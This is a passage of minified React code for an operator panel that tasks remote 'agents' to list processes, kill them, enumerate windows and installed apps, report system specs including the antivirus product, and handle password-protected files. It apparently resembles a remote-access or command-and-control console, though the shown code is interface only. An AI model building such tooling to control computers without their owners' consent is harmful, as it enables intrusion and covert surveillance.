24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&a.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:V=>V.stopPropagation(),children:[a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),a.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),a.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),a.jsx("input",{ref:O,type:"password",value:b,onChange:V=>w(V.target.value),onKeyDown:V=>{V.key==="Enter"&&F(),V.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r + text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r + transition-all mb-4`}),a.jsxs("div",{className:"flex items-center justify-end gap-2",children:[a.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),a.jsx("button",{onClick:F,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r + hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r + transition-colors capitalize`,children:y.action})]})]})})]})}function JU({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState(null),[x,g]=m.useState(null),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:k}=await Me(e,{command:"ps"});u(!0);let z=0;const S=30;v.current=setInterval(async()=>{var O;z++;try{const T=(O=(await Xn(e)).results)==null?void 0:O.find(P=>P.task_id===k);if(T){if(v.current&&clearInterval(v.current),v.current=null,s(!1),T.error){l(T.error);return}if(T.output){const P=T.output.split(` +`).filter(K=>K.trim()),D=[];for(const K of P){const _=K.trim().split(/\s+/);if(_.length>=2){const M=parseInt(_[0],10);if(!isNaN(M)){const F=_.length>=3?parseInt(_[1],10):0,U=!isNaN(F)&&_.length>=3,V=U?_.length>=4&&_.slice(3).join(" ")||_[2]:_.slice(1).join(" "),Z=U&&_.length>=4?_[2]:void 0;D.push({pid:M,ppid:U?F:0,name:V,user:Z,children:[]})}}}const G=new Map;D.forEach(K=>G.set(K.pid,K));const R=[];for(const K of D){const _=G.get(K.ppid);_&&_!==K?_.children.push(K):R.push(K)}r(R.length>0?R:D.map(K=>({...K,children:[]})))}}else z>=S&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(k){l(k instanceof Error?k.message:"Failed to send command"),s(!1)}}},[e,y]),w=(k,z)=>{if(!z)return k;const S=z.toLowerCase();return k.filter(O=>{const A=O.name.toLowerCase().includes(S)||String(O.pid).includes(S),T=w(O.children,z).length>0;return A||T})},j=m.useCallback(async k=>{h(k),g(null);try{await Me(e,{command:"kill",args:[String(k)]}),setTimeout(b,2e3)}catch(z){l(z instanceof Error?z.message:"Failed to kill process")}finally{h(null)}},[e,b]),N=w(n,d);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:k=>f(k.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),a.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),a.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:N.map(k=>a.jsx(cS,{process:k,depth:0,confirmKillPid:x,killingPid:p,onKillClick:z=>g(z),onKillConfirm:j,onKillCancel:()=>g(null)},k.pid))})]}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function cS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o}){const[l,c]=m.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return a.jsxs(a.Fragment,{children:[a.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r + border-b border-zerin-panel-border last:border-b-0\r + hover:bg-zerin-panel-hover transition-colors text-xs`,children:[a.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),a.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&a.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),a.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),a.jsx("span",{children:f?a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("button",{onClick:()=>s(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),a.jsx("span",{className:"text-zerin-text-muted",children:"/"}),a.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?a.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(p=>a.jsx(cS,{process:p,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:s,onKillCancel:o},p.pid))]})}function eV({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),p=t==="dead",h=m.useRef(null);m.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=m.useCallback(async()=>{if(!p){s(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Me(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const N=(w=(await Xn(e)).results)==null?void 0:w.find(k=>k.task_id===y);if(N){if(h.current&&clearInterval(h.current),h.current=null,s(!1),N.error){l(N.error);return}if(N.output)try{const k=JSON.parse(N.output);r(k)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),s(!1)}}},[e,p]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:x,disabled:p||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),p&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),a.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function tV({agentId:e,agentStatus:t}){const[n,r]=m.useState([]),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),[d,f]=m.useState(""),[p,h]=m.useState("name"),[x,g]=m.useState("asc"),y=t==="dead",v=m.useRef(null);m.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=m.useCallback(async()=>{if(!y){s(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:z}=await Me(e,{command:"installed_apps"});u(!0);let S=0;const O=30;v.current=setInterval(async()=>{var A;S++;try{const P=(A=(await Xn(e)).results)==null?void 0:A.find(D=>D.task_id===z);if(P){if(v.current&&clearInterval(v.current),v.current=null,s(!1),P.error){l(P.error);return}if(P.output)try{const D=JSON.parse(P.output);r(D)}catch{l("Failed to parse installed apps data")}}else S>=O&&(v.current&&clearInterval(v.current),v.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(z){l(z instanceof Error?z.message:"Failed to send command"),s(!1)}}},[e,y]);function w(z){p===z?g(S=>S==="asc"?"desc":"asc"):(h(z),g("asc"))}const N=[...d?n.filter(z=>{const S=d.toLowerCase();return z.name.toLowerCase().includes(S)||z.version.toLowerCase().includes(S)||z.publisher.toLowerCase().includes(S)}):n].sort((z,S)=>{const O=z[p]||"",A=S[p]||"",T=O.localeCompare(A,void 0,{sensitivity:"base"});return x==="asc"?T:-T}),k=({col:z})=>p!==z?null:x==="asc"?a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):a.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),a.jsxs("div",{className:"relative flex-1 max-w-xs",children:[a.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{type:"text",value:d,onChange:z=>f(z.target.value),placeholder:"Filter apps...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r + text-xs text-zerin-text placeholder-zerin-text-muted\r + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?N.length>0?a.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"overflow-x-auto",children:a.jsxs("table",{className:"w-full text-sm",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[a.jsxs("th",{onClick:()=>w("name"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text",children:["Name ",a.jsx(k,{col:"name"})]}),a.jsxs("th",{onClick:()=>w("version"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[140px]",children:["Version ",a.jsx(k,{col:"version"})]}),a.jsxs("th",{onClick:()=>w("publisher"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[200px]",children:["Publisher ",a.jsx(k,{col:"publisher"})]}),a.jsxs("th",{onClick:()=>w("install_date"),className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider cursor-pointer hover:text-zerin-text w-[120px]",children:["Installed ",a.jsx(k,{col:"install_date"})]})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:N.map((z,S)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text",children:z.name}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:z.version||"-"}),a.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text-muted truncate",children:z.publisher||"-"}),a.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted",children:z.install_date||"-"})]},`${z.name}-${S}`))})]})}),a.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[N.length," application",N.length!==1?"s":""]})]}):c&&n.length===0?a.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No installed applications found"}):null:a.jsx("div",{className:"flex items-center justify-center py-16",children:a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 7.5l-.625 10.632a2.25 2.25 0 01-2.247 2.118H6.622a2.25 2.25 0 01-2.247-2.118L3.75 7.5M10 11.25h4M3.375 7.5h17.25c.621 0 1.125-.504 1.125-1.125v-1.5c0-.621-.504-1.125-1.125-1.125H3.375c-.621 0-1.125.504-1.125 1.125v1.5c0 .621.504 1.125 1.125 1.125z"})})}),a.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list installed applications"})]})})]})}function nV({agentId:e,agentStatus:t}){const[n,r]=m.useState(null),[i,s]=m.useState(!1),[o,l]=m.useState(""),[c,u]=m.useState(!1),d=t==="dead",f=m.useRef(null);m.useEffect(()=>()=>{f.current&&clearInterval(f.current)},[]);const p=m.useCallback(async()=>{if(!d){s(!0),l(""),r(null),f.current&&(clearInterval(f.current),f.current=null);try{const{task_id:h}=await Me(e,{command:"specs"});u(!0);let x=0;const g=30;f.current=setInterval(async()=>{var y;x++;try{const b=(y=(await Xn(e)).results)==null?void 0:y.find(w=>w.task_id===h);if(b){if(f.current&&clearInterval(f.current),f.current=null,s(!1),b.error){l(b.error);return}if(b.output)try{const w=JSON.parse(b.output);r(w)}catch{l("Failed to parse system specs")}}else x>=g&&(f.current&&clearInterval(f.current),f.current=null,s(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(h){l(h instanceof Error?h.message:"Failed to send command"),s(!1)}}},[e,d]);return a.jsxs("div",{className:"p-6 animate-fade-in",children:[a.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[a.jsxs("button",{onClick:p,disabled:d||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r + bg-zerin-accent text-white hover:bg-zerin-accent-hover\r + disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?a.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),d&&a.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&a.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n?a.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4",children:[a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8.25 3v1.5M4.5 8.25H3m18 0h-1.5M4.5 12H3m18 0h-1.5m-15 3.75H3m18 0h-1.5M8.25 19.5V21M12 3v1.5m0 15V21m3.75-18v1.5m0 15V21m-9-1.5h10.5a2.25 2.25 0 002.25-2.25V6.75a2.25 2.25 0 00-2.25-2.25H6.75A2.25 2.25 0 004.5 6.75v10.5a2.25 2.25 0 002.25 2.25z"})}),"Hardware"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"CPU",value:n.cpu}),a.jsx(Di,{label:"Cores",value:`${n.cores_physical} physical / ${n.cores_logical} logical`}),a.jsx(Di,{label:"RAM",value:`${n.ram_total_gb.toFixed(1)} GB total / ${n.ram_available_gb.toFixed(1)} GB free`}),a.jsx(Di,{label:"GPU",value:n.gpu})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M20.25 6.375c0 2.278-3.694 4.125-8.25 4.125S3.75 8.653 3.75 6.375m16.5 0c0-2.278-3.694-4.125-8.25-4.125S3.75 4.097 3.75 6.375m16.5 0v11.25c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125V6.375m16.5 0v3.75m-16.5-3.75v3.75m16.5 0v3.75C20.25 16.153 16.556 18 12 18s-8.25-1.847-8.25-4.125v-3.75m16.5 0c0 2.278-3.694 4.125-8.25 4.125s-8.25-1.847-8.25-4.125"})}),"Storage"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[n.disks.map((h,x)=>a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center justify-between text-xs mb-1",children:[a.jsx("span",{className:"font-mono text-zerin-text",children:h.mount}),a.jsxs("span",{className:"text-zerin-text-muted",children:[(h.total_gb-h.free_gb).toFixed(1)," / ",h.total_gb.toFixed(1)," GB"]})]}),a.jsx("div",{className:"w-full h-2 bg-zerin-bg rounded-sm overflow-hidden",children:a.jsx("div",{className:`h-full transition-all ${h.used_pct>90?"bg-zerin-danger":h.used_pct>75?"bg-yellow-500":"bg-zerin-accent"}`,style:{width:`${Math.min(h.used_pct,100)}%`}})}),a.jsxs("div",{className:"text-right text-[10px] text-zerin-text-muted mt-0.5",children:[h.used_pct.toFixed(1),"% used"]})]},`${h.mount}-${x}`)),n.disks.length===0&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No disk info available"})]})]}),a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border bg-zerin-bg-alt",children:a.jsxs("h3",{className:"text-sm font-semibold text-zerin-text flex items-center gap-2",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12.75L11.25 15 15 9.75m-3-7.036A11.959 11.959 0 013.598 6 11.99 11.99 0 003 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285z"})}),"Software"]})}),a.jsxs("div",{className:"p-4 space-y-3",children:[a.jsx(Di,{label:"OS",value:n.os}),a.jsx(Di,{label:"AV",value:n.av}),a.jsx(Di,{label:"Uptime",value:`${n.uptime_days}d ${n.uptime_hours}h ${n.uptime_minutes}m`})]})]})]}):null:a.jsx("div",{className:"flex items-center justify-center 